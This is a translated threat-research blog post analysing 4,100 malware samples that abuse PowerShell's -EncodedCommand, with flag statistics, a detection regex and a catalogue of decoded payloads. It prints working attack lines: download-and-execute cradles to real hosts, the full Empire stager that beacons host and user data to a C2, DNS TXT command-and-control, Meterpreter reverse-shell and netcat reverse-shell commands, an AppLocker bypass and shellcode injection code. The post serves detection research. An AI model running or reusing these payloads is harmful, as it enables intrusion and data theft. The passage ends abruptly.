拉开 EncodedCommand PowerShell 攻击的帷幕

随着框架的不断成熟,PowerShell 在过去几年中继续受到欢迎,因此我们在更多的攻击中看到它也就不足为奇了。PowerShell 在系统上为攻击者提供了广泛的本机功能,并快速查看恶意 PowerShell 工具泛滥的情况;你有一个体面的增长指标。
微软通过提供多种方式来记录 PowerShell 活动(转录、脚本块等),在更高版本的 PowerShell 中做得非常出色,因此已经转向尝试在运行时进一步混淆攻击。
进入左侧 - PowerShell ‘-EncodedCommand’ 参数!

  1. -EncodedCommand
  2. Accepts a base64-encoded string version of a command. Use this parameter
  3. to submit commands to Windows PowerShell that require complex quotation
  4. marks or curly braces.

如上面 PowerShell 帮助输出中所示,它是一个命令,旨在获取复杂的字符串,否则可能会导致命令行出现问题,并将它们包装起来以供 PowerShell 执行。通过将命令中的“恶意”部分从窥探中隐藏起来,您可以避免可能会泄露防御的字符串。
这个博客的目的有两个。首先,在“分析概述”中,我将分析在 Palo Alto Networks AutoFocus 中发现的 4,100 个最近使用这种 EncodedCommand 技术的样本,以了解 PowerShell 是如何被使用的,以及哪些技术被广泛用于 PowerShell 攻击。其次,我将使用此博客对 PowerShell 代码进行分类,并附上每个解码样本的示例,以帮助未来的识别或研究。

分析概述

为了进行这种分析,我需要首先识别使用这种技术的样本。由于 PowerShell 在调用不同参数时为您提供了很大的灵活性,因此识别样本并不像人们想象的那么简单。
以下是调用 EncodedCommand 参数的不同方式的三个示例:

  1. **完全拼写:powershell.exe –EncodedCommand ZQBjAGgAbwAgACIARABvAHIAbwB0AGgAeQAiAA==
  2. 用备用大写截断:
    powershell.exe –eNco ZQBjAGgAbwAgACIAVwBpAHoAYQByAGQAIgA=
  3. 使用插入符号转义字符注入来分解字符串:
    powershell.exe –^e^C^ ZQBjAGgAbwAgACIAVwBpAHQAYwBoACIA

仅将这些方法组合用于“EncodedCommand”参数,就有超过 100,000 种可能的变化。牢记这一点,我想出了下面的正则表达式,它可以很好地覆盖可能的变体,并且可以很容易地应用于庞大的动态分析报告语料库:

  1. \-[Ee^]{1,2}[NnCcOoDdEeMmAa^]+[A-Za-z0-9+/=]{5,}

这允许按比例提取如下所示的线以进行进一步分析:

  1. powerShell.exe -WindowStyle hiddeN -ExecuTionPolicy ByPasS-enc
  2. cgBlAGcAcwB2AHIAMwAyACAALwB1ACAALwBzACAALwBpADoAaAB0AHQAcAA6
  3. AC8ALwAxADkAMgAuADEANgA4AC4ANAA4AC4AMQAyADkALwB0AGUAcwB0AC4
  4. AagBwAGcAIABzAGMAcgBvAGIAagAuAGQAbABsAAoA

现在,这并不奇怪,但大多数编码数据显然是从模板和公共工具生成的——攻击者不会在每次需要运行 shellcode 或下载另一个恶意文件时重新发明轮子。底层代码几乎相同,只需对下载位置等进行轻微调整即可证明这一点。然后,为了尝试对数据进行分析,我需要尝试识别代码并尝试确定是什么生成了代码,或者至少尝试将代码聚类到类似的桶中。

分析方法

为了说明其中涉及的一些困难,早在 2012 年,Matthew Graeber发表了一篇关于他编写的 PowerShell 脚本的博客文章,该脚本可以将 shellcode 加载到内存中并执行它。该脚本一直是该技术的基石模板,被用于寻求使用此功能的大多数公共工具中。
以下是 TrustedSec 工具Social-Engineer Toolkit (SET)Magic Unicorn技术的两次迭代。如果比较这两个样本,您会发现 SET 使用“$c”,而 Magic Unicorn 使用“$nLR”作为初始变量。同样,SET中的“$size”变量是Magic Unicorn中的“$g”,“$sc”变量是“$z”,最后“$x”变量是“$kuss”。

SET

  1. $c = '[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = ;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};

Magic Unicorn

  1. $nLR = '[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $nLR -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = ;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$kuss=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($kuss.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$kuss,0,0,0);for (;;){Start-sleep 60};

在 Magic Unicorn 中,生成脚本中有一行随机化一些变量。下面是一段摘录,展示了它是如何工作的:

  1. var1 = generate_random_string(3, 4)
  2. var2 = generate_random_string(3, 4)
  3. powershell_code = (
  4. r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr …
  5. powershell_code = powershell_code.replace("$1", "$" + var1).replace("$c", "$" + var2).replace("$2", "$" + var3) …

这只是用 3-4 个随机字母数字字符的字符串替换了一些变量;但是,并非所有变量都被替换,因此随机字符串与已知锚点的组合使我能够推测它是如何生成的。或者,我还可以看到这段特定的代码何时被复制到另一个工具中,而没有 Magic Unicorn 脚本的随机化部分,因为变量不会改变或通过添加额外的随机化进一步构建。
这不是一门精确的科学,当处理多年来被许多不同的人大量重用的代码时,您一定会遇到代码不适合分析的情况。我已尝试尽可能准确地对其进行分类,但请注意 - 在整个分析过程中对特定名称持保留态度,因为没有什么能阻止人们简单地将代码复制并粘贴到他们自己的工具中。
总的来说,我分析了 27 个公共工具或功能集群,它们具有唯一的标识符,将它们与其他工具或功能区分开来。稍后我将在对每个变体进行编目时对它们中的每一个进行分类,但现在,下表提供了变体的细分、匹配的样本数量以及它在样本集中所占的总体百分比:

变体 数量 占总数的百分比
Downloader DFSP 1,373 33.49%
Shellcode Inject 1,147 27.98%
Unicorn 611 14.90%
PowerShell Empire 293 7.15%
SET 199 4.85%
Unknown 104 2.54%
Powerfun Reverse 100 2.44%
Downloader DFSP 2X 81 1.98%
Downloader DFSP DPL 24 0.59%
Downloader IEXDS 19 0.46%
PowerWorm 19 0.46%
Unicorn Modified 14 0.34%
Scheduled Task COM 11 0.27%
BITSTransfer 11 0.27%
VB Task 10 0.24%
TXT C2 10 0.24%
Downloader Proxy 9 0.22%
AMSI Bypass 8 0.20%
Veil Stream 7 0.17%
Meterpreter RHTTP 6 0.15%
DynAmite Launcher 6 0.15%
Downloader Kraken 5 0.12%
AppLocker Bypass 4 0.10%
PowerSploit GTS 3 0.07%
Powerfun Bind 2 0.05%
Remove AV 2 0.05%
DynAmite KL 1 0.02%

超过一半的分析样本使用了通用的“DownloadFile -StartProcess”技术或前面显示的 shellcode 注入技术的变体。

一般分布/统计

在 4,100 个样本中,可以看到 4 种文件格式:

文件格式 数量 占总数的百分比
“exe” 2,154 52.54%
“doc” 1,717 41.88%
“xls” 228 5.56%
“dll” 1 0.02%

EXE 和 DOC 格式占该样本集中使用的大部分扩展。进一步查看 DOC 文件,其中 77%(1,326 个)与“Downloader DFSP”变体匹配,该变体使用 DownloadFile-StartProcess 方法定义了一个通用下载器,如下所示:

  1. (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',"$env:APPDATA\csrsv.exe");Start-Process ("$env:APPDATA\csrsv.exe")

从那里开始,1,159 个 DOC 文件(87%)与 Cerber 勒索软件的已知模式匹配;这意味着正在使用一个工具来生成恶意 Microsoft Word 文档,该文档创建了以这种技术作为模板启动 PowerShell 的宏。
DOC 样本的主要传递方法是 SMTP/POP3,这与通过电子邮件活动使用恶意 Microsoft Word 文档传递勒索软件的现状保持一致:
Paloalto - 拉开 EncodedCommand PowerShell 攻击的帷幕 - 图1
图 1 用于传递恶意 Powershell Word 文档的应用程序
从目标行业来看,高等教育、高科技、专业和法律服务以及医疗保健的分布相当均匀:
Paloalto - 拉开 EncodedCommand PowerShell 攻击的帷幕 - 图2
图 2 检测恶意 Powershell Word 文档的行业细分
快速查看一段时间内的分布还可以看到一些大的峰值,这些峰值再次与电子邮件活动的标准操作程序一致:
Paloalto - 拉开 EncodedCommand PowerShell 攻击的帷幕 - 图3
图 3 AutoFocus 在过去 12 个月中捕获的恶意 Powershell Word 文档的数量
看看 EXE 样本是如何分类的,就组或恶意软件家族而言,没有什么是占主导地位的;然而,有趣的是,似乎更倾向于瞄准高科技行业的公司:
Paloalto - 拉开 EncodedCommand PowerShell 攻击的帷幕 - 图4
图 4 使用 Powershell 检测恶意可执行文件的行业细分
与随时间的 DOC 样本分布相比,随时间的分布也相当均匀:
Paloalto - 拉开 EncodedCommand PowerShell 攻击的帷幕 - 图5
图 5 在过去 12 个月中 AutoFocus 中捕获的使用 Powershell 的恶意可执行文件数量
对此的一种可能解释是分布变化。例如,虽然 DOC 样本主要被视为电子邮件的附件,但 EXE 样本通常通过 Web 浏览传递。
在深入研究命令本身之前,我将谈到的最后一项是使用 EncodedCommand 技术检测到的一个 DLL 文件。此 DLL 不包含导出,但是当使用 DLLMain 入口点调用时,它将简单地启动一个 PowerShell Empire stager,它从网站下载 XOR 脚本,然后使用 PowerShell 的 Invoke-Expression cmdlet 运行下载的脚本。该样本与赛门铁克 2016 年 10 月在博客中提到的Odinaff家族有关。

预分析数据/统计

在查看 base64 编码数据之前,我查看了每个进程是如何启动的。这种频率分析和检查可以让您深入了解与 EncodedCommand 一起使用的附加参数。

EncodedCommand:(4,100 个样本 - 100% 覆盖率)

用于将 base64 编码的字符串传递给 PowerShell 以供执行。

旗帜 数量 占总数的百分比
“-enc” 3,407 83.29%
“-Enc” 412 10.05%
“-EncodedCommand” 229 5.59%
“-encodedcommand” 40 0.98%
“-encodedCommand” 7 0.17%
“-ec” 3 0.07%
“-en” 1 0.02%
“-ENC” 1 0.02%

WindowStyle Hidden:(2,083 个样本 - 50.8% 的覆盖率)

用于防止 PowerShell 在执行代码时显示窗口。最常用的变体“-window hidden”是由于前面提到的分发 Cerber 的 Microsoft Word 文档正在使用的 PowerShell 命令。

旗帜 数量 占总数的百分比
“-window hidden” 1,267 30.90%
“-W Hidden” 315 7.68%
“-w hidden” 159 3.88%
“-windowstyle hidden” 125 3.05%
“-win hidden” 67 1.63%
“-WindowStyle Hidden” 45 1.10%
“-win Hidden” 42 1.02%
“-wind hidden” 40 0.98%
“-WindowStyle hidden” 5 0.12%
“-WindowStyle hiddeN” 5 0.12%
“-windows hidden” 4 0.10%
“-Win Hidden” 3 0.07%
“-win hid” 2 0.05%
“-Window hidden” 2 0.05%
“-Wind Hidden” 1 0.02%
“-Win hidden” 1 0.02%

NonInteractive(非交互式:(1,405 个样本 – 42.4% 的覆盖率)

用于防止为用户创建交互式提示。与 WindowStyle Hidden 结合使用以隐藏执行迹象。对于“-noni”变体,76% 是通用 shellcode 注入代码和 SET,而“-NonI”是 PowerShell Empire。

旗帜 数量 占总数的百分比
“-noni” 1,042 25.41%
“-NonI” 331 8.07%
“-noninteractive” 27 0.66%
“-NonInteractive” 4 0.10%
“-nonI” 1 0.02%

NoProfile:(1,350 个样本 – 32.9% 的覆盖率)

阻止 PowerShell 加载在启动时执行的配置文件脚本,以避免可能不需要的命令或设置。与 NonInteractive 的分类类似,“-nop”主要是 SET 和通用 shellcode 注入,而“-NoP”是 PowerShell Empire。

旗帜 数量 占总数的百分比
“-nop” 955 23.29%
“-NoP” 332 8.10%
“-noprofile” 57 1.39%
“-NoProfile” 5 0.12%
“-noP” 1 0.02%

ExecutionPolicy ByPass:(453 个样本 – 11% 的覆盖率)

绕过默认的 PowerShell 脚本执行策略(受限),不会阻止任何脚本的执行或创建任何提示。有趣的是,在 EncodedCommand 参数中执行的代码不适用于执行策略。

旗帜 数量 占总数的百分比
“-ep bypass” 128 3.12%
“-exec bypass” 80 1.95%
“-executionpolicy bypass” 78 1.90%
“-Exec Bypass” 73 1.78%
“-ExecutionPolicy ByPass” 42 1.02%
“-ExecutionPolicy bypass” 26 0.63%
“-Exec ByPass” 9 0.22%
“-ExecutionPolicy Bypass” 5 0.12%
“-ExecuTionPolicy ByPasS” 4 0.10%
“-exe byPass” 2 0.05%
“-ep Bypass” 2 0.05%
“-ExecutionPolicy BypasS” 2 0.05%
“-Exe ByPass” 2 0.05%

Sta:(219 个样本 - 5.3% 的覆盖率)

使用单线程单元(现在默认为 PowerShell 3.0)。这个参数几乎只在 PowerShell Empire 中使用。

旗帜 数量 占总数的百分比
“-sta” 219 5.34%

NoExit:(23 个样本 - 0.5% 覆盖率)

阻止 PowerShell 在运行启动命令后退出。这仅由 PowerWorm 恶意软件使用,并且是除 EncodedCommand 之外的唯一参数。

旗帜 数量 占总数的百分比
“-noexit” 23 0.56%

ExecutionPolicy 隐藏(5 个样本 - 0.12% 覆盖率)

这实际上不是一个有效的策略,所以 PowerShell 只是忽略它。它的每次使用都与我标记为“TXT C2”的脚本相关,该脚本尝试加载包含另一个 PowerShell 脚本的 DNS TXT 记录,类似于 PowerWorm。最有可能的是,攻击者打算在这里使用 ByPass,因为他们稍后在命令中已经有了“-w hidden”。

旗帜 数量 占总数的百分比
“-ep hidden” 5 0.12%

NoLogo:(33 个样本 - 0.8% 覆盖率)

PowerShell 启动时隐藏版权横幅:

旗帜 数量 占总数的百分比
“-Nol” 10 0.24%
“-NoL” 10 0.24%
“-nologo” 9 0.22%
“-nol” 4 0.10%

ExecutionPolicy Unrestricted(1 个样本 – 0.02% 覆盖率)

类似于 ByPass,但会在运行从 Internet 下载的未签名脚本之前警告用户。使用此参数的底层单独脚本尝试执行从 Internet 下载的脚本,该脚本应生成警告。

旗帜 数量 占总数的百分比
“-ExecutionPolicy Unrestricted” 1 0.02%

命令(1 个样本 - 0.02% 覆盖率)

执行参数后面的命令,就好像它们是在 PowerShell 提示符下键入的一样。我只看到了一个实例,它与 FireEye 在一篇关于规避基于签名的检测的博客中包含的恶意软件直接相关。PowerShell 代码包含在 DOCM 文件的“注释”字段中,并从 Microsoft Word 文档中的宏启动。下面是有问题的代码,它将多个命令链接在一起以执行 FTP 传输和后续的 NetCat 连接。

  1. powershell -noP -nonI -Win hidden -c sc ftp.txt -val \"open\" -enc ascii; ac ftp.txt -val \"192.168.52.129\" -enc ascii; ac ftp.txt -val \"test\" -enc ascii; ac ftp.txt -val \"test\" -enc ascii; ac ftp.txt -val \"bin\" -enc ascii; ac ftp.txt -val \"GET\" -enc ascii; ac ftp.txt -val \"nc.exe\" -enc ascii; ac ftp.txt -val \"nc.exe\" -enc ascii; ac ftp.txt -val \"bye\" -enc ascii; ftp -s:ftp.txt; rm ftp.txt; ./nc.exe -e powershell.exe 192.168.52.129 3724
旗帜 数量 占总数的百分比
“-C” 1 0.02%

最后,我将通过简要查看在整个样本集中看到的前 10 个组合来结束参数分析。

标志组合 数量 占总数的百分比
“-window hidden -enc” 1,242 30.29%
“-enc” 986 24.04%
“-nop -noni -enc” 736 17.95%
“-NoP -sta -NonI -W Hidden -Enc” 206 5.02%
“-EncodedCommand” 169 4.12%
“-ep bypass -noni -w hidden -enc” 102 2.48%
“-NoP -NonI -W Hidden -Enc” 60 1.46%
“-nop -win hidden -noni -enc” 57 1.39%
“-executionpolicy bypass -windowstyle hidden -enc” 51 1.24%
“-nop -exec bypass -win Hidden -noni -enc” 41 1.00%

即使考虑到案例的变化,结果也只会增加每个类别中的少数样本。
在进行研究以尝试识别唯一签名以进行识别时,我发现了以下多个示例,其中代码作者更改了其工具较新版本的参数。
Paloalto - 拉开 EncodedCommand PowerShell 攻击的帷幕 - 图6
图 6 Code Author 修改工具版本之间的参数
这减少了这些家庭的总人数,但我认为这对总数没有太大影响。在我对这些工具的回顾中,作者不太关注参数的动态排序或可能动态调整参数长度以进一步掩盖他们的攻击;相反,他们添加了基本的大写随机化,并专注于代码的“meat”。这可以允许基于 PowerShell 命令的启动方式进行一些低保真分析。
此外,占所有组合的 72% 的前三个组合主要是简单明了的,并且只专注于运行代码,而不是任何巧妙地尝试进一步向用户隐藏其攻击。

分析后数据/统计

接下来,我将检查每个已识别的变体并查看它们的功能。对于每个下载文件或脚本的人,我将在本博客的末尾包含观察到的 IP/域/URL。其中一些可能是恶意的,其中一些可能是渗透测试者,还有一些可能是对新技术进行随机测试的人;不幸的是,在进行批量分析时通常不可能推断出意图,但提供的数据供读者在他们认为合适的时候使用。

下载者

PowerShell 代码的主要目的是下载和运行辅助负载或执行远程获取的 PowerShell 代码。

下载器 DFSP(1,373 个样本 - 33.49% 的覆盖率)

这是使用 PowerShell 下载和运行文件的典型示例。它基本上是您使用 Google 搜索下载和运行文件的方法时获得的结果的逐字记录。因此,我使用下面的模板作为 base64 编码数据的通用分类,充当真正有效负载的简单下载器。

  1. (New-Object System.Net.WebClient).DownloadFile('http://cajos[.]in/0x/1.exe','mess.exe');Start-Process 'mess.exe'

如前所述,几乎所有与该类别匹配的检测都链接回 Microsoft Word 文档,通过宏启动此 PowerShell 命令以下载 Cerber。在此示例中观察到的一个独特模式是环境变量的使用,以及它们的 URI 模式。

Cerber 下载器

  1. (New-Object System.Net.WebClient).DownloadFile('http://94.102.53[.]238/~yahoo/csrsv.exe',"$env:APPDATA\csrsv.exe");Start-Process ("$env:APPDATA\csrsv.exe")

PowerShell Empire(293 个样本 - 7.15% 覆盖率)

对于下一个,示例使用 PowerShell Empire 的 EncryptedScriptDropper 远程下载脚本并使用嵌入式 XOR 密钥对其进行解密:

  1. $Wc=NeW-ObjeCt SySTEM.Net.WebCLiEnt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$WC.HeadeRS.ADd('User-Agent',$u);$wc.PrOxy = [SyStem.NeT.WEbReQUeSt]::DEFauLTWeBProxy;$WC.PRoXY.CrEdENTIaLS = [SYStEM.NeT.CReDEnTiALCaChE]::DEFaulTNeTworKCREdeNtiaLS;$K='0192023a7bbd73250516f069df18b500';$i=0;[CHAr[]]$B=([CHaR[]]($wc.DOwnloaDSTRing("http://23.239.12.15:8080/index.asp")))|%{$_-BXOr$k[$i++%$K.LENgTh]};IEX ($B-jOIn'')

在此示例中,XOR 密钥为“0192023a7bbd73250516f069df18b500”,使用该密钥解码后,下拉脚本是 PowerShell Empire 代理 stager脚本,它将 POST 系统信息到 C2 服务器,然后下载加密的 Stage 1 Empire 有效负载。

  1. 'FunCtION StaRt-NegoTiATe{param($s,$SK,$UA="lol")Add-TypE -AsSeMBLY SYSteM.SECUriTY;AdD-TypE -aSSEMBly SYSTEm.CoRe;$ErrorActionPreference = "SilentlyContinue";$E=[SYstem.TExT.ENCoDING]::ASCII;$AES=NeW-OBjecT SYsTeM.SeCURiTy.CRyptoGrapHY.AESCRyPToSeRVicePrOvIdER;$IV = [BYTE] 0..255 | GeT-RandOm -coUNt 16;$AES.Mode="CBC"; $AES.Key=$e.GetBytes($SK); $AES.IV = $IV;$cSp = NEW-OBJECT SYStEM.SecURity.CrYPtOGRAPHy.CSpPaRAmeTERS;$csP.FLAGs = $cSP.FlagS -boR [SYsTeM.SeCurITY.CryptogRaphy.CsPPROViDErFlAGs]::UsEMAcHINEKeySTore;$Rs = NEW-ObJecT SySTEm.SecURIty.CRyptograPHy.RSACRYPTOSERvICEPROViDeR -ARGuMenTLIsT 2048,$CSP;$rk=$Rs.TOXMlStriNg($FALse);$r=1..16|FOrEacH-ObJEcT{GEt-RANDOm -MAx 26};$ID=(\'ABCDEFGHKLMNPRSTUVWXYZ123456789\'[$r] -joIN \'\');$iB=$E.gEtbYTes($Rk);$eb=$IV+$AES.CReaTeENCRyptoR().TRANSFoRmFiNalBLOcK($Ib,0,$Ib.LENgtH);IF(-Not $wc){$wc=nEw-oBJECt sYstEM.Net.WEBCLient;$WC.ProxY = [SySTem.NET.WeBReqUEsT]::GETSysTeMWEbPRoxY();$Wc.Proxy.CrEDentIals = [SYStem.Net.CredENtIalCAche]::DEFAUlTCRedentIaLs;}$wc.Headers.Add("User-Agent",$UA);$wc.Headers.Add("Cookie","SESSIONID=$ID");$raw=$wc.UploadData($s+"index.jsp","POST",$eb);$dE=$E.GETSTRing($Rs.deCrYPt($raw,$FalSE));$EpOCh=$de[0..9] -joIN\'\';$KeY=$dE[10..$de.LengTH] -jOIn \'\';$AES=NEw-ObJEct SYsTEm.SEcurity.CRyPtoGRAPHY.AEsCrYPtOSerVIcEPRoVidEr;$IV = [ByTe] 0..255 | GET-RaNdom -couNT 16;$AES.Mode="CBC"; $AES.Key=$e.GetBytes($key); $AES.IV = $IV;$i=$S+\'|\'+[EnvIrONment]::UsERDOmAInNAmE+\'|\'+[ENvIRonmeNt]::UsERNaME+\'|\'+[ENvIRONmeNt]::MaChinEName;$P=(gwMi WIN32_NeTWorkAdAPTErCoNfIGurAtioN|WherE{$_.IPAdDRess}|SelECt -ExpANd IPADDReSS);$ip = @{$TrUe=$P[0];$FalsE=$P}[$P.LeNgTh -lt 6];If(!$IP -or $ip.trIm() -EQ \'\') {$Ip=\'0.0.0.0\'};$i+="|$ip";$I+=\'|\'+(GEt-WmIOBJect WIn32_OpERAtiNgSystEM).NAME.splIT(\'|\')[0];if(([Environment]::UserName).ToLower() -eq "system"){$i+=\'|True\'}else {$i += "|" +([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")}$n=[SySTeM.DIAgNoSTICS.ProceSS]::GetCUrREntPRocEss();$i+=\'|\'+$n.PROCEssNAMe+\'|\'+$n.ID;$I += \'|\' + $PSVerSIOnTabLe.PSVerSioN.MAjOR;$ib2=$E.getbYteS($I);$EB2=$IV+$AES.CrEATEEncrYPToR().TrANSFORmFinALBLOCk($Ib2,0,$Ib2.LenGTH);$wc.Headers.Add("User-Agent",$UA);$raw=$wc.UploadData($s+"index.php","POST",$eb2);$AES=NeW-Object SYSteM.SEcuRIty.CRYPToGrapHY.AesCrYPToSeRVIcEProvIder;$AES.Mode="CBC";$IV = $rAw[0..15];$AES.Key=$e.GETBYtes($key);$AES.IV = $IV;IEX $([SYstEM.TeXt.EnCoDInG]::ASCII.GetStrInG( $($AES.CrEateDECRYpTOr().TRANsFOrMFinAlBloCk($rAW[16..$RaW.LENGtH],0,$raw.LENGth-16))));$AES=$NuLL;$s2=$NuLl;$WC=$nUll;$eB2=$nULl;$RAW=$NuLl;$IV=$NULL;$WC=$NULl;$I=$NUlL;$iB2=$null;[GC]::COlLEcT();Invoke-Empire -Servers @(($s -split "/")[0..2] -join "/") -SessionKey $key -SessionID $ID -Epoch $epoch;} Start-Negotiate -s "http://23.239.12.15:8080/" -SK \'0192023a7bbd73250516f069df18b500\' -UA $u;'

下载器 DFSP 2X(81 个样本 - 1.98% 覆盖率)

这与之前的下载器相同,但它会启动另一个 PowerShell 实例来执行下载。这些也都链接到 Cerber 下载器文档。

  1. PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile('http://93.174.94[.]135/~kali/ketty.exe', $env:APPDATA\profilest.exe );Start-Process ( $env:APPDATA\profilest.exe )

下载器 DFSP DPL(24 个样本 - 0.59% 覆盖率)

另一个使用 DownloadFile -> Start-Process 技术的下载器在样本集中有两个不同的变体。其中许多样本与 Bartalex 相关的行为相匹配,并且可能表明这个著名的 Office 宏生成器发生了变化。

未删节
  1. ($deploylocation=$env:temp+'fleeb.exe');(New-Object System.Net.WebClient).DownloadFile('http://worldnit[.]com/abu.exe', $deploylocation);Start-Process $deploylocation

精简版
  1. ($dpl=$env:temp+'f.exe');(New-Object System.Net.WebClient).DownloadFile('http://alonqood[.]com/abacom.exe', $dpl);Start-Process $dpl

下载器 IEXDS(19 个样本 - 0.46% 覆盖率)

这是在搜索下载和执行 PowerShell 脚本的方法时经常弹出的下载器的另一个旋转。实际上,代码只是远程下载一个 PowerShell 脚本并使用 Invoke-Expression 执行它。生成的有效载荷可能彼此完全不同,而且看起来并不相关。
以下两个样本下载了“Invoke-TwitterBot”脚本,该脚本是“由 Twitter 帐户控制的木马机器人,在 ShmooCon IX 上发布”:

  1. IEX (New-Object Net.WebClient).DownloadString('http://cannot.loginto[.]me/googlehelper.ps1')
  2. iex ((New-Object Net.WebClient).DownloadString('http://76.74.127[.]38/default-nco.html'))

BITSTransfer(11 个样本 – 0.27% 的覆盖率)

通过 PowerShell 下载恶意软件的另一种机制是通过 BitsTransfer 模块。后台智能传输服务 (BITS) 在下载恶意软件时并不常见,但它提供与其他已知传输服务类似的功能,例如 HTTP。使用这种不同的方法可以让攻击者避免某些监控,并利用 BITS 将限制传输以不影响其他带宽使用的事实。
在我之前的博客中,我注意到 Cerber 下载器的变体曾在短时间内使用 BITS,这 11 个样本中有 10 个是通向 Cerber 的 Microsoft Word 文档。

  1. Import-Module BitsTransfer
  2. $path = [environment]::getfolderpath("mydocuments")
  3. Start-BitsTransfer -Source "http://94.102.50[.]39/keyt.exe" -Destination "$path\keyt.exe"
  4. Invoke-Item "$path\keyt.exe"

TXT C2(10 个样本 – 0.24% 覆盖率)

对于下一个,攻击者使用 PowerShell 对域的 TXT 记录进行 DNS 查询。TXT 记录包含另一个 PowerShell 脚本,然后将其传递给 Invoke-Expression 以执行。

  1. if(''+(nslookup -q=txt p.s.os.ns.rankingplac[.]pl) -match '@(.*)@'){iex $matches[1]}

查看返回的脚本表明,一旦发生初始查找,它将自己设置为一个不断循环的循环,继续查询域的 TXT 记录并进行 base64 解码,然后执行结果。

  1. Non-authoritative answer:
  2. p.s.os.ns.rankingplac.pl text = "@$str=''\;$i=1\;while(1){if(''+(nslookup -q=txt \"l.$i.ns.rankingplac[.]pl.\") -match '@(.*)@'){$str += [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($matches[1]))} else {break\;}$i++}iex $str@"

这允许攻击者在准备好与受感染系统交互时建立命令和控制通道。
微软的约翰兰伯特最近在推特上发布了关于这个变体的信息,并确定它在渗透测试中被使用。该技术的另一个示例可以在用于渗透测试的Nishang框架中找到。

下载器代理(9 个样本 – 0.22% 覆盖率)

此变体将为运行 PowerShell 命令的用户显式使用配置的代理和凭据。值得注意的是,将用户名作为值传递给 Web 请求中的“u”参数。这是一种常见的“签入”活动,因此攻击者知道他们感染了谁;它可用于进一步处理后续交互如何发生(例如,如果已知沙箱用户名,则阻止进一步的连接)。

  1. $x=$Env:username;$u="http://54.213.195[.]138/s2.txt?u=" + $x;$p = [System.Net.WebRequest]::GetSystemWebProxy();$p.Credentials=[System.Net.CredentialCache]::DefaultCredentials;$w=New-Object net.webclient;$w.proxy=$p;$w.UseDefaultCredentials=$true;$s=$w.DownloadString($u);Invoke-Expression -Command $s;

Meterpreter RHTTP(6 个样本 - 0.15% 覆盖率)

下一个技术简单地拉下 PowerShell Empire 和 PowerSploit 等工具中使用的 Invoke-Shellcode 脚本,然后调用该函数来生成反向 HTTPS Meterpreter shell。
除了一个示例之外,所有示例都从 GitHub 中提取代码,直接通过官方存储库或通过分叉版本。

GitHub

  1. iex (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellEmpire/Empire/master/data/module_source/code_execution/Invoke-Shellcode.ps1"); Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lhost 88.160.254[.]183 -Lport 8080 -Force

非 GitHub

  1. IEX (New-Object Net.WebClient).DownloadString('http://el8[.]pw/ps/CodeExecution/Invoke-Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 65.112.221[.]34 -Lport 443 Force

下载器 Kraken(5 个样本 - 0.12% 覆盖率)

我之所以称它为“Kraken”,只是因为它下载的可执行文件的文件名(“Kraken.jpg”),但它使用了与 Downloader DFSP 中类似的下载技术。一个区别是它不是直接使用“$env”变量,而是使用 System.IO.Path 来检索 $TEMP 目录的路径:

  1. $TempDir = [System.IO.Path]::GetTempPath(); (New-Object System.Net.WebClient).DownloadFile("http://kulup.isikun.edu.tr/Kraken.jpg"," $TempDir\syshost.exe"); start $TempDir\syshost.exe;

AppLocker 绕过(4 个样本 - 0.12% 覆盖率)

下一个技术使用 PowerShell 运行 regsvr32 工具来绕过 Microsoft Windows AppLocker。这种技术是由 Casey Smith ( @subTee )发现的,它滥用了在通过 regsvr32 取消注册 COM 对象时执行脚本的事实。

  1. regsvr32 /u /s /i:http://<IP_REDACTED>/test.jpg scrobj.dll

嵌入式负载

以启动嵌入式负载为主要目的的 PowerShell 代码,例如 shellcode。

  • Shellcode Inject(1,147 个样本 - 27.98% 覆盖率),
  • 独角兽(611 个样本 - 14.90% 覆盖率),
  • SET(199 个样本 - 4.85% 覆盖率),
  • Unicorn Modified(14 个样本 – 0.34% 覆盖率)

正如我已经展示了 SET 和 Magic Unicorn 实现 Shellcode 注入技术的示例,我决定使用这个 shellcode 注入模板将所有变体集中在一起。下面是来自“Shellcode Inject”变体的示例,它是 Matt Graeber 原始帖子的副本,您将立即看到与 SET 和 Magic Unicorn 代码的相似之处:

